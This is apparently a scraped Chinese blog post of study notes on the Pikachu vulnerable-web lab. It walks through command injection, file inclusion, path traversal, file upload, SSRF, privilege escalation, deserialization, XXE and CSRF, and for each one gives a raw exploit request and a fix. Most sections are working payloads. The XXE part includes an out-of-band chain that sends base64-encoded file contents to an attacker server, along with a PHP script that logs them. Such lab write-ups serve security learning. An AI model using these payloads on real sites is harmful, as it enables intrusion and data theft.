3、皮卡丘代码审计(3)

一、命令/代码执行

基础知识

win系统

|不管A成功还是失败,两者都会执行,但只输出B的结果&不管A成功还是失败,两者都会执行,两者结果都会输出注意的是:&有可能会被当做分割参数的符号,导致没有出现理想结果。可以将&使用Url编码传入||先执行A,如果失败在执行B如果A成功,就不执行B&&如果A成功,则执行B,并输出如果A不成功,则不会执行B

参考:https://blog.csdn.net/weixin_45663905/article/details/108026223

linux系统

;A;B;CABC都会执行,不管A或B有没有成功,都会执行C还有其他符号,直接搜索

代码执行注意

传入的函数要以“分号”结尾cmd=phpinfo()					、、错误cmd=phpinfo();				、、正确

1、ping命令执行

限制

复现

POST /vul/rce/rce_ping.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 43
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/rce/rce_ping.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g070k8lk3oiabph7f1fphrhg8l
Connection: closeipaddress=www.baidu.com+%26calc&submit=ping

在这里插入图片描述

代码

在这里插入图片描述

修复

1、少用或不用命令执行的函数
2、将传入的命令使用引号包裹,同时过滤/转移传入参数内的引号,防止将代码中的引号闭合用单引号包裹传入的参数相对靠谱用双引号包裹传入的参数不靠谱,仍然会造成命令执行ping "\"baidu.com&calc"	弹出计算器
3、escapeshellarg	和	escapeshellcmd(推荐)
escapeshellarg(可以修复)

在这里插入图片描述

escapeshellcmd(可以修复)

在这里插入图片描述

2、代码执行

限制

复现

POST /vul/rce/rce_eval.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/rce/rce_eval.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: closetxt=phpinfo%28%29%3B&submit=%E6%8F%90%E4%BA%A4

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

修复

escapeshellarg	和	escapeshellcmd不确定使用这两个函数是否可以避免代码执行漏洞escapeshellarg

在这里插入图片描述
在这里插入图片描述

escapeshellcmd

在这里插入图片描述

二、文件包含

基础知识

可造成文件包含的函数:

require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行require_once() // 如果一个文件已经被包含过,则不会在包含它include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行include_once() // 如果一个文件已经被包含过,则不会在包含它

文件包含危害:

被包含的文件内容中存在php代码就会执行(被包含的文件后缀任意)
不存在php代码则直接回显文件内容

注意事项:

在 Windows 系统中,文件读取漏洞可能会允许攻击者访问未授权的文件内容。通常情况下,攻击者只能访问当前磁盘上的文件,而无法跨磁盘进行访问。

1、本地文件包含

限制

需要在服务器上有可控文件
传入一个不存在的文件(原因不明确)
fileaa3.php/../../../../test/phpinfo.txt		、、成功
file3.php/../../../../test/phpinfo.txt			、、失败

复现

GET /vul/fileinclude/fi_local.php?filename=fileaa3.php/../../../../test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

1、白名单
2、过滤../
白名单代码修复

在这里插入图片描述

过滤../修复

在这里插入图片描述

2、远程文件包含

补充
可以远程文件包含,也可以本地文件包含

限制

复现

在vps上创建一个攻击文件,

在这里插入图片描述

开启httl服务

在这里插入图片描述
GET /vul/fileinclude/fi_remote.php?filename=http://192.168.253.131:888/aa.txt&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/fileinclude/fi_remote.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

1、非必要不开启远程文件包含配置
2、白名单限制1、关闭php.ini配置文件

在这里插入图片描述

白名单

在这里插入图片描述

三、不安全的文件下载

限制

复现

GET /vul/unsafedownload/execdownload.php?filename=camccby.png/../../../../inc/config.inc.php HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/unsafedownload/down_nba.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

1、将传入的..过滤为空

在这里插入图片描述

2、使用白名单过滤

在这里插入图片描述

四、文件上传

1、前端验证

限制

复现

请求包无法粘贴全POST /vul/unsafeupload/clientcheck.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 834
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywNWrbyYfjfdn3yjv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/unsafeupload/clientcheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close------WebKitFormBoundarywNWrbyYfjfdn3yjv
Content-Disposition: form-data; name="uploadfile"; filename="2.php"
Content-Type: image/jpegÿØÿà

在这里插入图片描述

http://xxx.com:8882/vul/unsafeupload/uploads/2.php

在这里插入图片描述

代码

在这里插入图片描述
在这里插入图片描述

修复

后缀白名单限制

在这里插入图片描述

2、白名单后缀+上传文件重命名(随机)

在这里插入图片描述

2、服务端验证

限制

复现

POST /vul/unsafeupload/servercheck.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 307
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymmBz5ScHKg78eE2R
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/unsafeupload/servercheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close------WebKitFormBoundarymmBz5ScHKg78eE2R
Content-Disposition: form-data; name="uploadfile"; filename="1.php"
Content-Type: image/png<?php phpinfo();?>
------WebKitFormBoundarymmBz5ScHKg78eE2R
Content-Disposition: form-data; name="submit"开始上传
------WebKitFormBoundarymmBz5ScHKg78eE2R--

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述
在这里插入图片描述

修复

1、白名单限制

在这里插入图片描述

2、白名单后缀+上传文件重命名(随机)

在这里插入图片描述

3、此处无法绕过

1、过滤了后缀名、文件类型、图片属性(主要过滤了白名单后缀)
2、只能配合文件包含漏洞联合利用,无法单独利用

五、目录遍历

限制

复现

GET /vul/dir/dir_list.php?title=../../../inc/1.txt HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

修复

1、白名单

在这里插入图片描述

2、对传入的..进行过滤

在这里插入图片描述

六、不安全的url跳转

限制

复现

GET /vul/urlredirect/urlredirect.php?url=https://www.baidu.com/ HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/urlredirect/urlredirect.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

写死跳转的文件

在这里插入图片描述

扩展

假设修复方式如下:

在这里插入图片描述

可通过一下方式绕过
http://bbb.com:8882/vul/urlredirect/urlredirect.php?url=http://bbb.com:8882@www.baidu.com
http://bbb.com:8882/vul/urlredirect/urlredirect.php?url=http://bbb.com.baidu.com
http://bbb.com:8882/vul/urlredirect/urlredirect.php?url=http://baidu.com/bbb.com/kkk

修复

在这里插入图片描述

七、敏感信息泄露

补充
推荐使用burp插件完成自动化敏感信息发现
hae

限制

复现

在这里插入图片描述
在这里插入图片描述

登录成功 地址任意登录

在这里插入图片描述

代码

在这里插入图片描述

修复

删除备注同时提高开发安全意识

八、ssrf

1、ssrf–curl

限制

复现

GET /vul/ssrf/ssrf_curl.php?url=http://内网地址:22 HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/ssrf/ssrf_curl.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f0rmngekqljgq3j7gv18imimbt
Connection: close

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

2、ssrf–file_get_content

限制

复现

GET /vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/ssrf/ssrf_fgc.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qccfgj8pfrqc13a31hn0g5uo80
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

九、越权

1、水平越权

限制

复现

	使用kobe登录,可以访问到lili的信息
GET /vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF HTTP/1.1Host: bbb.com:8882Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://bbb.com:8882/vul/overpermission/op1/op1_mem.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=91aebtli634v9667j94c3clfviConnection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

同样的功能使用不同的代码

在这里插入图片描述

2、垂直越权

限制

复现

POST /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lqprjv487h4ijl0g7lvscke9l0
Connection: closeusername=loo&password=lolo&sex=lolo&phonenum=lolo&email=lolo&address=lolol&submit=%E5%88%9B%E5%BB%BA
	将不能添加用户的cookie ,放到管理员用户的添加用户的数据包里

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

十、php反序列化

限制

复现

POST /vul/unserilization/unser.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 62
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/unserilization/unser.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ccabc42pv0h9g3cr4m2c4ti6hu
Connection: closeo=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

补充

初始认为是__construct内的代码触发漏洞,实际反序列化的过程并没有执行__construct函数。

在这里插入图片描述

反序列化过程并不会触发__construct魔术方法,
只用含有__construct方法的类S被实例化的时候才会触发__construct方法。实际造成漏洞的位置是在反序列化的内容被输出的时候没有过滤,导致xss。
最终修复,把输出的值进行htmlspecialchars()实体化编码。

在这里插入图片描述

十一、xxe

限制

复现

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>
另一种方式
传入的payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % d SYSTEM "http://192.168.3.9:8889/1.txt">
%d;
]>
<author>&xxe;</author>1.txt的内容
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >

在这里插入图片描述

代码

在这里插入图片描述

1、禁止加载外部实体以php为例,当libxml的版本都>=2.9.0时,不要加“LIBXML_NOENT”参数simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);libxml可以在phpinfo中看到,直接在phpinfo页面搜索“libxml”即可当libxml的版本小于2.9.0时,建议升级版本另一个思路:

在这里插入图片描述


<?php
// 禁用外部实体解析
libxml_disable_entity_loader(true);// 设置自定义回调函数来拒绝加载特定的外部实体
libxml_set_external_entity_loader(function ($public, $system, $context) {// 拒绝加载任何外部实体,返回false即可。 例如: return false; 
});	
2、过滤 <!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC	(该方式可能会影响正常功能)

补充(待续)

~利用ssrf探测内网端口开放情况
通过上面的payload,得知存在ssrf漏洞,
通过修改IP和端口,可以探测内网端口开放情况。
传入的payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % d SYSTEM "http://127.0.0.1:8889/1.txt">
%d;
]>
<author>&xxe;</author>
本质就是通过访问不同内网IP端口,查看请求返回时间确认。
当端口开放时返回时间大约为19左右,

在这里插入图片描述

不开放时,时间返回大概2000左右。

在这里插入图片描述

~xxe命令执行
正常payload如下:
<?xml version="1.0"?>  <!DOCTYPE foo [     <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>
但是测试未成功,
查询资料得知expect伪协议默认未开启。
~无回显攻击思路
攻击思路跟图片差不多,
具体实现可能略微有差别

在这里插入图片描述

漏洞复现以上面的靶场为例,
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini" >
<!ENTITY % remote SYSTEM "http://192.168.3.9:8889/1.xml"> 
%remote;
%send; 
]>
看似失败,实际需要打开文档确认

在这里插入图片描述

实际攻击成功

在这里插入图片描述

整体攻击流程分析:
发送payload后
读取的内容base64编码后放在file变量
去加载1.xml文件内的dtd规则1.xml规则本意去加载2.php的规则(在请求的同时已经把读取到的内容(变量file的值)当参数请求了)2.php接受id参数,并保存到3.txt
备注xxe炮台准备:
1.txt
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.3.9:8889/2.php?id=%file;'>"
>
%all;
2.txt
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

3.txt 空-->等待接受

十二、csrf

1、csrf(get)

限制

复现

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=3333&phonenum=3333&add=3333&email=3333&submit=submit HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/csrf/csrfget/csrf_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ccabc42pv0h9g3cr4m2c4ti6hu
Connection: close

在这里插入图片描述
在这里插入图片描述

模拟受害者访问恶意网站

在这里插入图片描述

修改信息成功

在这里插入图片描述

代码

update语句获取的值没有随机token

在这里插入图片描述

修复

使用csrf_token

// 在服务器端验证 CSRF Token
if ($_GET['csrf_token'] !== $_SESSION['csrf_token']) {die('Access denied');
}// 生成 CSRF Token
$csrfToken = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $csrfToken;?>//提交自动添加
<input type="hidden" name="csrf_token" value="$csrfToken">
真正修复,注意生成token和验证token的位置。

在这里插入图片描述
在这里插入图片描述

csrf(post)

限制

复现

POST /vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/csrf/csrfpost/csrf_post_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=iv63of2vlcefr0c9vp50prd991
Connection: closesex=llll&phonenum=iiii&add=jjjj&email=hhhh&submit=submit

在这里插入图片描述
在这里插入图片描述

伪造客户点击

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/504503.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring学习笔记(六)利用Spring的jdbc实现学生管理系统的用户登录功能

一、案例分析 本案例要求学生在控制台输入用户名密码&#xff0c;如果用户账号密码正确则显示用户所属班级&#xff0c;如果登录失败则显示登录失败。 &#xff08;1&#xff09;为了存储学生信息&#xff0c;需要创建一个数据库。 &#xff08;2&#xff09;为了程序连接数…

爬取博客的图片并且将它存储到响应的目录

目录 前言 思想 注意 不多说解释了&#xff0c;贴代码吧 config.json Get_blog_img.py 把之前的写的代码也贴上 Get_blog_id.py 主函数 main.py 运行结果 前言 在上一篇博客中我们介绍了如何爬取博客链接 利用python爬取本站的所有博客链接-CSDN博客文章浏览阅读74…

【Vue3】函数式编程(h 函数)

h 函数的原理就是 createVNode。可以使用 h 函数封装一些小组件。 <template><table border><tr><th>name</th><th>age</th><th>操作</th></tr><tr v-for"item in list" :key"item.age"&…

《TCP/IP详解 卷一》第8章 ICMPv4 和 ICMPv6

目录 8.1 引言 8.1.1 在IPv4和IPv6中的封装 8.2 ICMP 报文 8.2.1 ICMPv4 报文 8.2.2 ICMPv6 报文 8.2.3 处理ICMP报文 8.3 ICMP差错报文 8.3.1 扩展的ICMP和多部报文 8.3.2 目的不可达和数据包太大 8.3.3 重定向 8.3.4 ICMP 超时 8.3.5 参数问题 8.4 ICMP查询/信息…

如何优化阿里云幻兽帕鲁/Palworld的多人联机性能,并避免内存溢出导致的异常退出游戏?

优化阿里云幻兽帕鲁/Palworld的多人联机性能并避免内存溢出导致的异常退出游戏&#xff0c;可以采取以下几种方法&#xff1a; 选择合适的内存配置&#xff1a;由于幻兽帕鲁是一个对内存需求较高的游戏&#xff0c;建议选择至少16GB的内存。对于不同的玩家数量&#xff0c;可以…

高维中介数据:基于贝叶斯推断的因果中介效应估计方法

摘要 该博客介绍一种基于贝叶斯推断的高维因果中介效应估计方法&#xff0c;适用于omics研究中的大量潜在中介变量分析。在贝叶斯框架下&#xff0c;利用连续收缩先验扩展了传统的因果中介分析技术&#xff0c;以处理高维数据。这种方法提高了全局中介分析的统计功效&#xff…

Unity 游戏设计模式:单例模式

本文由 简悦 SimpRead 转码&#xff0c; 原文地址 mp.weixin.qq.com 单例模式 在 C# 游戏设计中&#xff0c;单例模式是一种常见的设计模式&#xff0c;它的主要目的是确保一个类只有一个实例&#xff0c;并提供一个全局访问点。单例模式在游戏开发中具有以下几个作用&#xf…

AutoDev 1.5.3:精准的自动化测试生成、本地模型强化与流程自动化优化

去年年初&#xff0c;我们开源 AutoDev 的初衷是&#xff1a; AutoDev 是一款基于 JetBrains IDE 的开源 AI 辅助编程插件。AutoDev 能够与您的需求管理系统&#xff08;例如 Jira、Trello、Github Issue 等&#xff09;直接对接。在 IDE 中&#xff0c;您只需简单点击&#x…

802.11局域网的 MAC 帧

目录 802.11 局域网的 MAC 帧 802.11 数据帧的三大部分 1.关于 802.11 数据帧的地址 最常用的两种情况 2.序号控制字段、持续期字段和帧控制字段 802.11 局域网的 MAC 帧 802.11 帧共有三种类型&#xff1a;控制帧、数据帧和管理帧。 802.11 数据帧的三大部分 MAC 首部&…

多层控制上身姿态的方法

1选择要施加的clip并调出层控制窗口 2点选motion层控制 3选择并复制pose&#xff08;注意在哪个层中选中的情况下复制的是那个层中的pose&#xff09; 4在新建层中分别选择头帧粘贴pose和尾帧粘贴pose因是上半身&#xff0c;因此mask中把下半身去掉即变灰

【K8S类型系统】一文梳理 K8S 各类型概念之间的关系(GVK/GVR/Object/Schema/RestMapper)

参考 k8s 官方文档 https://kubernetes.io/zh-cn/docs/reference/https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.29/ 重点 Kubernetes源码学习-kubernetes基础数据结构 - 知乎 重点 Kubernetes类型系统 | 李乾坤的博客 重点 k8s源码学习-三大核心数…

uni-app去除页面头部的标题栏

uniapp项目 每个界面都会有一个标题栏 配置在我们项目根目录的 pages.json中 我们将它全部去掉 上面还是有一条黑的 体验非常差 我们只需要在pages.json中 指定page的 style中加入 "navigationStyle": "custom"对应的page 就没有这个标题栏了